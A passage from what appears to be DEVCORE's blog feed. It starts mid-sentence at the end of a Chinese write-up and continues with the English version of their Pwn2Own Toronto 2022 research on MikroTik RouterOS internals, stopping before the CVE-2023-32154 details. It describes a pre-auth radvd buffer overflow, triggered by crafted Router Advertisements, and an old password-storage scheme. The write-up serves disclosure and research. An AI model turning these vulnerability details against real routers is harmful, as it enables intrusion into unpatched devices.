id 透過 response 送回來時,<code class="language-plaintext highlighter-rouge">radvd</code> 只能先把舊的 DNS remote object 標記成 destroyed 進行軟刪除。</p> <p><img src="/assets/img/blog/20240524/72.png" alt="" /></p> <p>接著 <code class="language-plaintext highlighter-rouge">radvd</code> 繼續為收到的第二個 RA 封包中的 RDNSS 欄位建立新的 DNS remote object,但由於 <code class="language-plaintext highlighter-rouge">resolver</code> 還沒有結束第一個迭代,所以這個新的請求會停留在 socket 裡面等待下一個迭代才處理。</p> <p><img src="/assets/img/blog/20240524/73.png" alt="" /></p> <p>接下來回到 <code class="language-plaintext highlighter-rouge">resolver</code>,第一個迭代以回傳 id 給 <code class="language-plaintext highlighter-rouge">radvd</code> 做收尾,<code class="language-plaintext highlighter-rouge">radvd</code> 的 ResponseHandler 會根據拿到的 id 去更新 remote object,但由於對應的 remote object 已經被標記成刪除,所以 ResponseHandler 不會去更新 object id,而是直接刪除該 object。</p> <p><img src="/assets/img/blog/20240524/74.png" alt="" /></p> <p>ResponseHandler 在刪除完 <code class="language-plaintext highlighter-rouge">radvd</code> 中保存的 remote object 之後,會發送一個 delete object 的 message 給 <code class="language-plaintext highlighter-rouge">resolver</code>,告知它對應的 remote object 已經不再使用所以要進行刪除,但一樣會先卡在 socket 裡面等待處理</p> <p><img src="/assets/img/blog/20240524/75.png" alt="" /></p> <p>接著 <code class="language-plaintext highlighter-rouge">resolver</code> 進入了第二次迭代,它會先拿到 socket 中為了第二個 RA 創建 remote object 的請求,為第二個 RA 的 DNS 創建對應的 remote object:</p> <p><img src="/assets/img/blog/20240524/76.png" alt="" /></p> <p>但在接著處理 delete 請求之前,先前設定的 timer 時間到了,所以<code class="language-plaintext highlighter-rouge">resolver</code> 會呼叫 <code class="language-plaintext highlighter-rouge">nv::Handler::sendChanges</code> 來通知所有的訂閱者現在 resolver 知道的 DNS 有哪些,因為 object 1 還沒有被刪除,因此 resolver 會把兩次的請求創建的 DNS 通通都推播出去。</p> <p>radvd 在收到這樣的資訊之後就會馬上構造用來在 LAN 廣播的 RA 封包,此時兩次的請求結果被混在一起了,這也就是為什麼一開始我們的攻擊只會在 MacOS 上成功的原因。雖然這個 race condition 聽起來很難觸發(刪除請求比 timer 先進行處理的話就不會觸發),但這是因為方便解釋,所以整個流程被我們大幅簡化了,實際上只要兩個封包到達的時間間隔夠短這個 race 就一定會成功。 <img src="/assets/img/blog/20240524/77.png" alt="" /></p> <h3 id="小結-1">小結</h3> <p>透過上面的分析,我們在 RouterOS 的 remote object 機制中找到了一個 race condition 的 pattern:</p> <ul> <li>在新增/刪除 remote object 時,使用了 non-blocking 的方法</li> <li>有訂閱 remote object</li> </ul> <p>透過這類型的漏洞,攻擊者可以將兩次請求的結果混合成一個回傳,或許可以作為一個用來繞過某些安全性檢查的手法。如果順利找到可利用的漏洞,我們還可以用來參加 Pwn2Own 當中的 router 類別中的 LAN 項目。</p> <p>然而最後時間緊迫,我們並沒有透過 race condition 找到可以利用的漏洞。而且禍不單行,在報名準備截止時,我們才發現這幾個月來被我們測試了上百次的 exploit 存在一些問題,就在報名截止的三個小時前像鬼打牆一樣,怎麼打怎麼失敗,簡直就是數位世代的逢魔時刻,我們一直更新 exploit 並且不斷更新準備上交的漏洞白皮書,一直到報名前止的半小時前(凌晨四點截止)才順利完成。</p> <p>但是非常幸運的,我們在賽中僅嘗試一次就順利的完成了攻擊,成為 Pwn2Own 歷史上第一組完成 SOHO SMASHUP 這個新類別的隊伍:</p> <p><img src="/assets/img/blog/20240524/78.png" alt="" /></p> <p>我們在這個項目中獲得了 10 點 Master of Pwn 點數還有 $100,000 美金的獎金,最終在比賽結算時,DEVCORE 以 18.5 個 Master of Pwn 點數奪下冠軍。</p> <p><img src="/assets/img/blog/20240524/79.png" alt="" /></p> <p>冠軍除了獲得 Master of Pwn 的頭銜、獎杯、外套之外,照慣例,主辦方還會各寄一台我們打下的設備過來。</p> <p>(我們沒辦法把所有東西都塞進相框裡) <img src="/assets/img/blog/20240524/80.png" alt="" /></p> <h2 id="結論">結論</h2> <p>在本次研究中,我們對 RouterOS 進行了深入探討,進而揭露了一個潛藏在 RouterOS 內長達九年的安全漏洞,並成功利用該漏洞在 Pwn2Own Toronto 2022 的賽事中奪下 SOHO SMASHUP 的項目。此外,我們還在 IPC 中發現了一種導致 race condition 的行為模式。最後,我們也將賽事中使用的工具開源於 https://github.com/terrynini/routeros-tools ,供大家參考。</p> <p>通過本次研究及分享,DEVCORE 希望分享我們的發現和經驗,從而協助白帽駭客深入了解 RouterOS,使之變得更加透明易懂。</p> https://devco.re/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros/ https://devco.re/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros Fri, 24 May 2024 00:00:00 +0800 Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS <p><a href="/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros-en/">English Version</a>, <a href="/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros/">中文版本</a></p> <h2 id="tldr">TL;DR</h2> <p>DEVCORE research team found a 9-year-old WAN bug on RouterOS, the product of MikroTik. Combined with another bug of the Canon printer, DEVCORE becomes the first team ever to successfully complete an attack chain in the brand new SOHO Smashup category of Pwn2Own. And DEVCORE also won the title of Master of Pwn in Pwn2Own Toronto 2022.</p> <p>The vulnerability occurs in the radvd of RouterOS, which does not check the length of the RDNSS field when processing ICMPv6 packets for IPv6 SLAAC. As a result, an attacker can trigger the buffer overflow by sending two crafted Router Advertisement packets, that allows an attacker to gain full control over the underlying Linux system of the router without logging in and without user interaction. This vulnerability was assigned as CVE-2023-32154 with a CVSS score of 7.5.</p> <p>The vulnerability was reported to MikroTik by <a href="https://www.zerodayinitiative.com/advisories/ZDI-23-710/">ZDI</a> on 2022/12/29 and patched on 2023/05/19. It has been patched in the following RouterOS releases:</p> <ul> <li>Long-term Release 6.48.7</li> <li>Stable Release 6.49.8</li> <li>Stable Release 7.10</li> <li>Testing Release 7.10rc6</li> </ul> <h2 id="pwn2own-soho-smashup">Pwn2Own SOHO Smashup</h2> <p>Pwn2Own is a series of contests organized by The Trend Micro Zero Day Initiative (ZDI). They pick popular products as targets for different categories, such as: operating systems, browsers, electric cars, industrial control systems, routers, printers, smart speakers, smartphones, NAS, webcams, etc.</p> <p>As long as the participants can exploit a target without user interaction while the device is in its default state and the software is updated to the latest version, the team will receive the corresponding Master of Pwn points and bounty. And the team which has the highest Master of Pwn points will be the winner, who is also known as the “Master of Pwn.”</p> <p>Due to the epidemic, Work From Home or SOHO (Small Office/Home Office) has become very common. Consider that, the Pwn2Own Toronto 2022 has a special category called SOHO Smashup, in which participants need to hack routers from the WAN side, and then use the router as a trampoline to attack common household devices in LAN, such as smart speakers, printers, etc.</p> <p>In addition to the second highest prize of $100,000 (USD), the SOHO Smashup also has the highest score of 10, so if you’re aiming to win, you’ll want to complete this category! We’ve also chosen the lesser-explored MikroTik’s RouterBoard as the target to avoid bug collisions with others (both the bounty and score are halved when you have a collision with someone else).</p> <h2 id="routeros">RouterOS</h2> <p>The RouterOS is based on the Linux kernel and it’s also the default operating system of MikroTik’s RouterBoard. It can also be installed on a PC to turn it into a router.</p> <p>Though the RouterOS do use some GPL-License software, according to the <a href="https://web.archive.org/web/20220603140018/https://mikrotik.com/downloadterms.html">downloadterms</a> page from MikroTik’s website, you have to pay $45 to MikroTik for sending a CD with GPL source, very interesting.</p> <p>Glad that there is already a nice guy who uploaded the <a href="https://github.com/robimarko/routeros-GPL">GPL source on the Github</a>, though they didn’t help much on reversing the RouterOS.</p> <h3 id="routeros-v7-and-routeros-v6">RouterOS v7 and RouterOS v6</h3> <p>There are two versions of RouterOS on the download page of MikroTik’s website: RouterOS v7 and RouterOS v6. They are more like two branches of the RouterOS and share a similar design pattern. Because the default installed version of our target, RB2011UiAS-IN, is RouterOS v6, we focus on that version. <img src="/assets/img/blog/20240524/1.png" alt="" /></p> <p>RouterOS does not provide a formal way for users to manipulate the underlying Linux system, and users are trapped in a restricted console with a limited number of commands to manage the router, so there has been a lot of research on how to jailbreak RouterOS.</p> <p><img src="/assets/img/blog/20240524/2.png" alt="" /></p> <p>The binary on the RouterOS uses a customized IPC to communicate with each other, and the IPC uses the “nova message” format to pack messages. So we call such kinds of binary “nova binary” afterward.</p> <p>Besides, the RouterOS has a special attack surface. The user can manage a RouterOS device remotely from a Windows computer with a GUI tool, WinBox, by sending a nova message through the TCP. So, if the RouterOS fails to validate the privilege of a nova message, the attacker can possibly invade the router by sending a crafted nova message from remote, but it’s not a top priority because the WinBox is unavailable from WAN by default.</p> <p><img src="/assets/img/blog/20240524/3.png" alt="" /></p> <h2 id="review-of-related-cves">Review of Related CVEs</h2> <p>We started by reviewing the CVEs in the past few years. There were 80 CVEs related to RouterOS at that time, of which 28 targeted the router itself in pre-auth scenarios.</p> <p><img src="/assets/img/blog/20240524/4.png" alt="" /></p> <p>4 out of the 28 CVEs are in scenarios that are more in line with the Pwn2Own rules, which means these vulnerabilities could allow an attacker to spawn a shell on the router or log in as admin without user interaction. Three of the vulnerabilities were discovered between 2017 and 2019, and three of these were discovered “in the wild.” These four vulnerabilities are:</p> <ul> <li>CVE-2017-20149: Also known as Chimay-Red, this is one of the leaked vulnerabilities from the CIA’s “Vault 7” in 2017. The vulnerability occurs when RouterOS parses HTTP requests, and if the Content-Length in the HTTP headers is negative, it will cause Integer Underflow, which together with the Stack Clash attack technique can control the program flow to achieve RCE.</li> <li><a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">CVE-2018-7445</a>: A buffer overflow in the SMB service of RouterOS, which found by black-box fuzzing and is the only one of the four vulnerabilities that was reported by the discoverer. Though the SMB is not enabled defaultly.</li> <li>CVE-2018-14847: Also the one of the leaked vulnerabilities from the “Vault 7”, which could allow an attacker to achieve arbitrary file read. Which doesn’t sound like a big problem, but because in the earlier version of RouterOS, the user’s password was stored in a file as <code class="language-plaintext highlighter-rouge">password xor md5(username + "283i4jfkai3389")</code>, the attacker can calculate the password of admin as long as the attacker can read the file.</li> <li><a href="https://teamt5.org/en/posts/vulnerability-mikrotik-cve-2021-41987/">CVE-2021-41987</a>:A heap buffer overflow vulnerability in the base64 decoding process of the SCEP service due to a length miscalculation. The vulnerability was discovered after security researchers analyzed an APT’s exploit on its C2 server.</li> </ul> <p>As we can see, most of these vulnerabilities are “in the wild.” We can only learn limited knowledge about analyzing and reversing the RouterOS.</p> <h2 id="review-of-related-research">Review of Related Research</h2> <p>We continue to seek out publicly available research materials, and we have these articles and presentations available at the time of the competition:</p> <ul> <li>2017 <ul> <li><a href="https://kirils.org/slides/2017-08-06_prez_SHA_MT_pub.pdf">Kirils. Rooting the MikroTik routers</a> <ul> <li>Mainly about jailbreak</li> </ul> </li> <li><a href="https://kirils.org/slides/2017-09-15_prez_15_MT_Balccon_pub.pdf">Kirils. A deeper journey into MikroTik routers</a> <ul> <li>Mainly about jailbreak</li> </ul> </li> <li><a href="https://kirils.org/slides/2017-10-21_MT_Hacktivity_pub.pdf">Kirils. Tools for effortless reverse engineering of MikroTik routers</a> <ul> <li>Mainly about jailbreak</li> </ul> </li> </ul> </li> <li>2018 <ul> <li><a href="https://github.com/tenable/routeros">Jacob Baines. Bug Hunting in RouterOS</a> <ul> <li>Explaining how nova message works in IPC</li> </ul> </li> </ul> </li> <li>2019 <ul> <li><a href="https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6">Jacob Baines. Make It Rain with MikroTik</a> <ul> <li>Identical to the talk in 2018</li> </ul> </li> <li><a href="https://medium.com/tenable-techblog/mikrotik-firewall-nat-bypass-b8d46398bf24">Jacob Baines. MikroTik Firewall &amp; NAT Bypass</a> <ul> <li>A vulnerability in WinBox: it can be used to scan the intranet once it’s exposed to the WAN</li> </ul> </li> <li><a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">Maximiliano Vidal, Juan Caillava. Finding and exploiting CVE-2018–7445</a> <ul> <li>Found buffer overflow in SMB by black-box fuzzing and how to exploit the vulnerability to get shell</li> </ul> </li> <li><a href="https://mum.mikrotik.com/presentations/ID18/presentation_6149_1540240927.pdf">Tomas Kirnak. Deep-dive: MikroTik exploits - a security analysis</a> <ul> <li>Discussing the mass exploit event after the leakage of CIA’s “Vault7” arsenal</li> </ul> </li> <li><a href="https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Jacob-Baines-Help-Me-Vulnerabilities.-Youre-My-Only-Hope.pdf">Jacob Baines. Help Me Vulnerabilities You’re My Only Hope</a> <ul> <li>Release a tool for jailbreaking RouterOS to help user to check if their router has been compromised in the mass exploit event</li> </ul> </li> <li><a href="https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21">Jacob Baines. RouterOS: Chain to Root</a> <ul> <li>Get shell by chaining DNS poisoning and downgrade vulnerabilities</li> </ul> </li> </ul> </li> <li>2022 <ul> <li><a href="https://teamt5.org/en/posts/vulnerability-mikrotik-cve-2021-41987/">D39. Vulnerability Exposure &amp; Notification on Mikrotik (CVE-2021-41987)</a> <ul> <li>Found an exploit contains 0-day that targets RouterOS on an APT’s C2 server</li> </ul> </li> <li><a href="https://margin.re/2022/06/pulling-mikrotik-into-the-limelight/">Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight</a> <ul> <li>Detail the IPC mechanism of the RouterOS and release a jailbreak tool “FOISted” to help researchers do further research on the amd64 version of RouterOS.</li> </ul> </li> <li><a href="https://powerofcommunity.net/poc2022/QianChen.pdf">Qian Chen. MikroTik RouterOS Security: The Forgotten IPC Message</a> <ul> <li>Found several vulnerabilities in IPC by fuzzing</li> </ul> </li> </ul> </li> </ul> <h2 id="review-of-the-ipc-and-the-nova-message">Review of the IPC and the Nova Message</h2> <p>Most of the research centers around RouterOS’s homebrew IPC, so we also took some time to review it. Here is a simple example to explain the main idea of the IPC.</p> <p>Normally, a user can log in to the RouterOS through telnet, and manage the router by console. <img src="/assets/img/blog/20240524/5.png" alt="" /></p> <p>Let’s follow the procedure step by step:</p> <ol> <li>When the user tries to access the console of RouterOS through the telnet. The <code class="language-plaintext highlighter-rouge">telnet</code> process will spawn the <code class="language-plaintext highlighter-rouge">login</code> process by <code class="language-plaintext highlighter-rouge">execl</code>, which asks the user for account and password. <img src="/assets/img/blog/20240524/6.png" alt="" /></li> <li>After getting the account and password, the <code class="language-plaintext highlighter-rouge">login</code> would pack that info into a nova message, and send it to the <code class="language-plaintext highlighter-rouge">user</code> process for authentication. <img src="/assets/img/blog/20240524/7.png" alt="" /></li> <li>The <code class="language-plaintext highlighter-rouge">user</code> process returns the result by sending back a nova message <img src="/assets/img/blog/20240524/8.png" alt="" /></li> <li>If the login succeeds, the <code class="language-plaintext highlighter-rouge">console</code> process is spawned, and the user interaction with the <code class="language-plaintext highlighter-rouge">console</code> is actually proxied through the <code class="language-plaintext highlighter-rouge">login</code> process.</li> </ol> <h3 id="ipc">IPC</h3> <p>The above example simply describes the basic concept of IPC, but the communication between the two processes is actually more complex.</p> <p>Every nova message would be sent to the <code class="language-plaintext highlighter-rouge">loader</code> process through the socket first, then the <code class="language-plaintext highlighter-rouge">loader</code> dispatches each nova message to the corresponding nova binary.</p> <p>Suppose the id of the <code class="language-plaintext highlighter-rouge">login</code> process is 1039, the id of the <code class="language-plaintext highlighter-rouge">user</code> process is 13, and the handler with id 4 in the <code class="language-plaintext highlighter-rouge">user</code> process is responsible for verifying the account and password.</p> <p>Firstly, the <code class="language-plaintext highlighter-rouge">login</code> process sends a request with an account and password to the <code class="language-plaintext highlighter-rouge">user</code> process, so the <code class="language-plaintext highlighter-rouge">SYS_TO</code> in nova message is an array with two elements <code class="language-plaintext highlighter-rouge">13, 4</code>, which means that the message should be sent to the handler with id 4 in the process with binary id 13.</p> <p><img src="/assets/img/blog/20240524/9.png" alt="" /></p> <p>When <code class="language-plaintext highlighter-rouge">loader</code> receives the message, it will remove the 13 in <code class="language-plaintext highlighter-rouge">SYS_TO</code> of the message which represents the target binary id, and add the source binary id in <code class="language-plaintext highlighter-rouge">SYS_FROM</code>, which is 1039, and then send the message to the <code class="language-plaintext highlighter-rouge">user</code> process.</p> <p><img src="/assets/img/blog/20240524/10.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">user</code> process does a similar thing when it receives a message: removing the 4 from <code class="language-plaintext highlighter-rouge">SYS_TO</code> that represents the target handler id and sending the nova message to handler 4 for processing.</p> <p><img src="/assets/img/blog/20240524/11.png" alt="" /></p> <h3 id="nova-message">Nova Message</h3> <p>The nova message used in IPC is initialized and set by <code class="language-plaintext highlighter-rouge">nv::message</code> and related functions. Nova message is composed of typed key-value pairs, and the key can only be an integer, so keys such as <code class="language-plaintext highlighter-rouge">SYS_TO</code> and <code class="language-plaintext highlighter-rouge">SYS_FROM</code> are just simple macros.</p> <p>The types that can be used in a nova message include u32, u64, bool, string, bytes, IP and nova message (i.e. you can create a nested nova message).</p> <p><img src="/assets/img/blog/20240524/12.png" alt="" /></p> <p>Because the RouterOS doesn’t use nova messages in JSON anymore, we only focus on the binary format of it.</p> <p>During IPC communication, the receiver’s socket receives an integer that expresses the length of the current nova message, followed by the nova message in binary format. <img src="/assets/img/blog/20240524/13.png" alt="" /></p> <p>The nova message starts with two magic bytes: <code class="language-plaintext highlighter-rouge">M2</code>. Next, each key is described by 4 bytes; the first 3 bytes are used to express the id of the key, and the last byte is the type of the key. Depending on the type, the next bytes will be parsed differently as data, and the next key will come after data, and so on. A special feature is that a bool can be represented by only one bit, so the lowest bit of the type is used to represent True/False. For a more detailed format, see <a href="https://margin.re/2022/06/pulling-mikrotik-into-the-limelight/">Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight</a>: <img src="/assets/img/blog/20240524/14.png" alt="" /></p> <h3 id="the-x3-format">The x3 format</h3> <p>In order to understand which nova binary the ids in the <code class="language-plaintext highlighter-rouge">SYS_TO</code> and the <code class="language-plaintext highlighter-rouge">SYS_FROM</code> in the nova message refer to, we need to parse a file with the extension x3, which is an xml in binary format. By parsing the <code class="language-plaintext highlighter-rouge">/nova/etc/loader/system.x3</code> with the tool, we can map which nova binary each id corresponds to.</p> <p><img src="/assets/img/blog/20240524/15.png" alt="" /></p> <p>The id of some binaries are absent in this file, because some of them have been made available by installing an official RouterOS package. In which case the binary’s id will exist in the <code class="language-plaintext highlighter-rouge">/ram/pckg/&lt;package_name&gt;/nova/etc/loader/&lt;package_name&gt;.x3</code>. The <code class="language-plaintext highlighter-rouge">radvd</code> is an example. <img src="/assets/img/blog/20240524/16.png" alt="" /></p> <p>However, there are still some id of binaries that cannot be found in any .x3 files because these types of processes are not persistent, e.g., the <code class="language-plaintext highlighter-rouge">login</code> process, which is only spawned when the user tries to log in and uses a serial number as its id.</p> <p>The .x3 file is also used to record nova binary related settings, e.g. <code class="language-plaintext highlighter-rouge">www</code> specifies in .x3 which servlet should be used for each URI. <img src="/assets/img/blog/20240524/17.png" alt="" /></p> <h2 id="summary">Summary</h2> <p>After reviewing the research and CVEs from the past, we can see that most vulnerabilities we are interested in have been concentrated in the past, and it seems to be difficult to find pre-auth vulnerabilities on the WAN side of RouterOS nowadays.</p> <p>While vulnerabilities continue to be revealed, the RouterOS is becoming more and more secure. Is it true that there are no more pre-auth vulnerabilities on the RouterOS? Or maybe it’s just that everyone is missing something?</p> <p>Most of the public research mentioned earlier falls into the following three categories:</p> <ul> <li>Jailbreaking</li> <li>The analysis of the exploits in the wild</li> <li>The nova message in the IPC</li> </ul> <p>However, after reversing the binary on RouterOS for a while, we realized that the complexity of the whole system was more than that, but no one mentioned the details. This led to the following thought: “No one with sanity would like to dive into the details of nova binary”.</p> <p>Aside from the exploits leaked from the CIA and APT, most of the research about finding vulnerabilities in RouterOS are: fuzzing network protocols, playing with nova messages, or performing fuzzing tests on nova messages.</p> <p>By the outcome, it seems that attackers understand the RouterOS much better than we do, and we need to explore more details about the nova binary to fill in the gaps and increase the possibility to find the vulnerabilities we are looking for. Don’t get me wrong. I don’t against fuzzing. But we must ensure we check everything essential to take advantage of the contest.</p> <h2 id="where-to-begin">Where to begin</h2> <p>We don’t think the RouterOS is flawless, there is a gap between researchers’ and attackers’ understanding of RouterOS. So, what are we missing to find pre-auth RCE on RouterOS?</p> <p>The first question that comes to mind is “where is the entry point of IPC and where does it lead?” Because most of the functionality triggered by IPC requires login, it is to be expected that sticking to IPC will only lead to more findings in post-auth. IPC is just one part of the main functionality implemented on RouterOS, and we would like to look at the core code of each functionality directly and carefully.</p> <p>For example, how do the process that deal with DHCP extract the info needed in a DHCP packet? This information may be stored directly in the process, or may need to be sent to other processes via IPC for further processing. <img src="/assets/img/blog/20240524/18.png" alt="" /></p> <h3 id="the-architecture-of-nova-binary">The Architecture of Nova Binary</h3> <p>Hence, we must first understand the architecture of the nova binary. Each nova binary has an instance of the Looper class (or a derivative of it: MultifiberLooper), which is a class for event loop logic. In each iteration, it calls <code class="language-plaintext highlighter-rouge">runTimer</code> to execute the timer that is expired, and use <code class="language-plaintext highlighter-rouge">poll</code> to check the status of the sockets then process them accordingly. <img src="/assets/img/blog/20240524/19.png" alt="" /></p> <p>Looper is responsible for the communication between its nova binary and the loader. Looper first registers a special callback function: <code class="language-plaintext highlighter-rouge">onMsgSock</code>, which is responsible for dispatching the nova message received from the socket to the corresponding handler in the nova binary.</p> <p><img src="/assets/img/blog/20240524/20.png" alt="" /></p> <h3 id="the-handler-class-and-its-derivatives">The Handler class and its derivatives</h3> <p>When a looper receives a nova message, it will dispatch it to the corresponding handler, e.g., a message with <code class="language-plaintext highlighter-rouge">SYS_TO</code> of <code class="language-plaintext highlighter-rouge">[14, 0]</code> will be dispatched by the loader to a nova binary with a binary id of 14. By the time the looper in the binary with a binary id of 14 receives it, <code class="language-plaintext highlighter-rouge">SYS_TO</code> has <code class="language-plaintext highlighter-rouge">[0]</code> left, so the looper will dispatch it to handler 0 for processing. If the <code class="language-plaintext highlighter-rouge">SYS_TO</code> in the initial nova message is <code class="language-plaintext highlighter-rouge">[14]</code>, then the looper receives it with <code class="language-plaintext highlighter-rouge">SYS_TO</code> as <code class="language-plaintext highlighter-rouge">[]</code>, and the looper handles this message on its own.</p> <p><img src="/assets/img/blog/20240524/21.png" alt="" /></p> <p>Now let’s assume that the Looper receives a nova message that should be handled by handler 1 and dispatches it to handler 1. At this point, handler 1 calls the methods <code class="language-plaintext highlighter-rouge">nv::Handler::handleCmd</code> in the vtable of the handler class, which looks for the corresponding function to execute in the vtable based on the <code class="language-plaintext highlighter-rouge">SYS_CMD</code> specified in the nova message.</p> <p><img src="/assets/img/blog/20240524/22.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">cmdUnknown</code> in the vtable is often overridden to extend the functionality, but sometimes the developer overrides <code class="language-plaintext highlighter-rouge">handleCmd</code> instead, depending on the developer’s mood. The handler class is a base class, so commands related to objects are not implemented.</p> <h3 id="derived-class">Derived class</h3> <p>However, the basic handler class is not the most used one in nova binaries, but rather a derivative of it. Derived classes can be used to store multiple objects of a single type, similar to C++ STL containers.</p> <p>For example, when a user creates a DHCP server through the web panel, a nova message with the command “add object” is sent to handler 0 of the <code class="language-plaintext highlighter-rouge">dhcp</code> process, which then creates a dhcp server object. And the object will be stored in a tree of handler 0.</p> <p><img src="/assets/img/blog/20240524/23.png" alt="" /></p> <p>The handler 0 here is an instance of <code class="language-plaintext highlighter-rouge">AMap</code>, <code class="language-plaintext highlighter-rouge">AMap</code> is a derived class of <code class="language-plaintext highlighter-rouge">Handler</code>. Since the command is “add object”, it triggers the member function <code class="language-plaintext highlighter-rouge">AMap::cmdAddObj</code>, which calls a function at offset 0x7c in handler 0’s vtable. And that function is actually the constructor of the object contained in <code class="language-plaintext highlighter-rouge">AMap</code>. For example, if the developer defines handler 0 to be of type <code class="language-plaintext highlighter-rouge">AMap&lt;string&gt;</code>, then the function at offset 0x7c is the constructor of the <code class="language-plaintext highlighter-rouge">string</code>.</p> <p>The offset of the constructor of the inner object in the vtable is different for each derived class, and locating the constructor to determine what type of objects are contained in the derived class can be done by reversing their individual <code class="language-plaintext highlighter-rouge">cmdAddObj</code> function.</p> <h3 id="ipc-and-something-other-than-ipc">IPC, and something other than IPC</h3> <p>Some of the functions in RouterOS are not driven by IPC. Take the two layer 2 discovery protocols, CDP and LLDP, implemented in the <code class="language-plaintext highlighter-rouge">discover</code> program as an example.</p> <ol> <li>When starting the two services, handler 0 will be responsible for calling <code class="language-plaintext highlighter-rouge">nv::createPacketReceiver</code> to open the sockets and register the callback functions for CDP and LLDP.</li> <li>In each iteration of the Looper, call <code class="language-plaintext highlighter-rouge">poll</code> to check if the sockets of CDP and LLDP have received any packets.</li> <li>If packets are received, the corresponding callback function will be called to handle the packets.</li> </ol> <p><img src="/assets/img/blog/20240524/24.png" alt="" /></p> <p>What CDP’s callback does is very simple: it makes sure that the interface that received the packet is allowed, and if it is, it parses the packet and stores the information directly into the <code class="language-plaintext highlighter-rouge">nv::ASecMap</code> instead of using a nova message, and then returns. <img src="/assets/img/blog/20240524/25.png" alt="" /></p> <p>It follows that IPC has no ability to trigger any function of CDP or LLDP other than to turn on CDP or LLDP services (which are turned on by default), so it is likely that previous research focused on IPC has not tested the program logic of such implementation.</p> <h2 id="the-story-of-pre-auth-rce">The Story of Pre-Auth RCE</h2> <p>With the knowledge of RouterOS, a surprising accident led us to a long hidden vulnerability.</p> <p>One day, when we plugged and unplugged the network cable as usual for reversing and debugging on RouterOS, we found that the log file recorded that the program <code class="language-plaintext highlighter-rouge">radvd</code> had crashed several times! So we tried plugging and unplugging the cable to manually reproduce the crash so that we could use the debugger to locate the problem, but after thousands of plugs and unplugs, we still couldn’t determine the conditions under which the crash was occurring, and it appeared to be just a random crash.</p> <p>After a period of trial and error, we tried to find out where the crash occurred by static reversing the <code class="language-plaintext highlighter-rouge">radvd</code> rather than blindly trying. Though we still couldn’t find the root cause of the crash in the end, we found another vulnerability in <code class="language-plaintext highlighter-rouge">radvd</code> after reviewing the core logic in binary with the benefit of our understanding of the nova binary.</p> <p>Before describing this vulnerability, let’s first explain what the <code class="language-plaintext highlighter-rouge">radvd</code> process does.</p> <h3 id="slaac-stateless-address-auto-configuration-">SLAAC (Stateless Address Auto-Configuration )</h3> <p>In short, the <code class="language-plaintext highlighter-rouge">radvd</code> is a service that handles SLAAC for IPv6.</p> <p>In a SLAAC environment, suppose a computer wants to get an IPv6 address to access the Internet, it will first broadcast an RS (Router Solicitation) request to all routers. After the router receives the RS, it will broadcast the network prefix through RA (Router Advertisement); computers receiving the RA can take the network prefix then combine it with the EUI-64 to decide what IPv6 address they’re going to use for connecting to the Internet.</p> <p><img src="/assets/img/blog/20240524/26.png" alt="" /></p> <p>If an ISP or network administrator wants to assign a network segment to a user, so that the user can assign the address to the user-managed machines. How to assign a segment to the user when only using SLAAC without DHCP? Because SLAAC does not have a way to delegate directly, this is how it usually works:</p> <p>Suppose there is an upstream router: Router A, which belongs to an ISP or a network administrator, a user-managed Router B, and a user-managed computer. The ISP or the network administrator will notify the user via email in advance about a /48 network prefix assigned to the user, which is <code class="language-plaintext highlighter-rouge">2001:db8::/48</code> in this case. Users can set it on Router B, then when the computer sends RS to Router B, Router B will put this prefix into RA for return, this prefix is called routed prefix.</p> <p><img src="/assets/img/blog/20240524/27.png" alt="" /></p> <p>In order to make Router B be able to communicate with Router A, it also needs to get network prefix from Router A for an IPv6 address of its own. And the network prefix that Router B gets from Router A is called a link prefix.</p> <p><img src="/assets/img/blog/20240524/28.png" alt="" /></p> <h3 id="the-execution-flow-of-the-radvd">The execution flow of the radvd</h3> <ol> <li>When the <code class="language-plaintext highlighter-rouge">radvd</code> process is started, the socket used by <code class="language-plaintext highlighter-rouge">radvd</code> is opened by <code class="language-plaintext highlighter-rouge">nv::ThinRunner::addSocket</code> and the corresponding callback function is registered. <img src="/assets/img/blog/20240524/29.png" alt="" /></li> <li> <p>In each iteration of the <code class="language-plaintext highlighter-rouge">Looper</code> in <code class="language-plaintext highlighter-rouge">radavd</code>, the socket is checked by calling the <code class="language-plaintext highlighter-rouge">poll</code> to see if it has received any packets. <img src="/assets/img/blog/20240524/30.png" alt="" /></p> </li> <li>If any packets are received, the corresponding callback function will be called to process the packets. <img src="/assets/img/blog/20240524/31.png" alt="" /></li> </ol> <p>In the callback function of <code class="language-plaintext highlighter-rouge">rardvd</code>, it will first check if the packet is a legitimate RA or RS, if it’s RA, store the information, if it’s RS, start broadcasting RA in LAN.</p> <p>There are total three cases in which the RouterOS broadcasts the network prefix:</p> <ol> <li>Received RS from LAN</li> <li>Received RA from WAN</li> <li>Timed broadcast of RA packets on LAN (default random broadcast after 200~600 seconds)</li> </ol> <p>But we didn’t find the code that’s responsible for case 2 in the callback function by statically reversing. At that time we were not sure why, it is actually related to the subscription mechanism in the RouterOS IPC, which we will explain in a later chapter. However, there are two other cases that we can find out directly through static analysis.</p> <p>In case 1, when an RS is received from the LAN, <code class="language-plaintext highlighter-rouge">radvd</code> will call <code class="language-plaintext highlighter-rouge">sendRA</code> to broadcast the RA packet: <img src="/assets/img/blog/20240524/32.png" alt="" /></p> <p>In case 2, handler 1 will register a timer, <code class="language-plaintext highlighter-rouge">RAroutine</code>, after initialization: <img src="/assets/img/blog/20240524/33.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">RAroutine</code> is used to call <code class="language-plaintext highlighter-rouge">sendRA</code> at regular intervals to broadcast packets: <img src="/assets/img/blog/20240524/34.png" alt="" /></p> <h2 id="cve-2023-32154">CVE-2023-32154</h2> <p>After digging deeper into <code 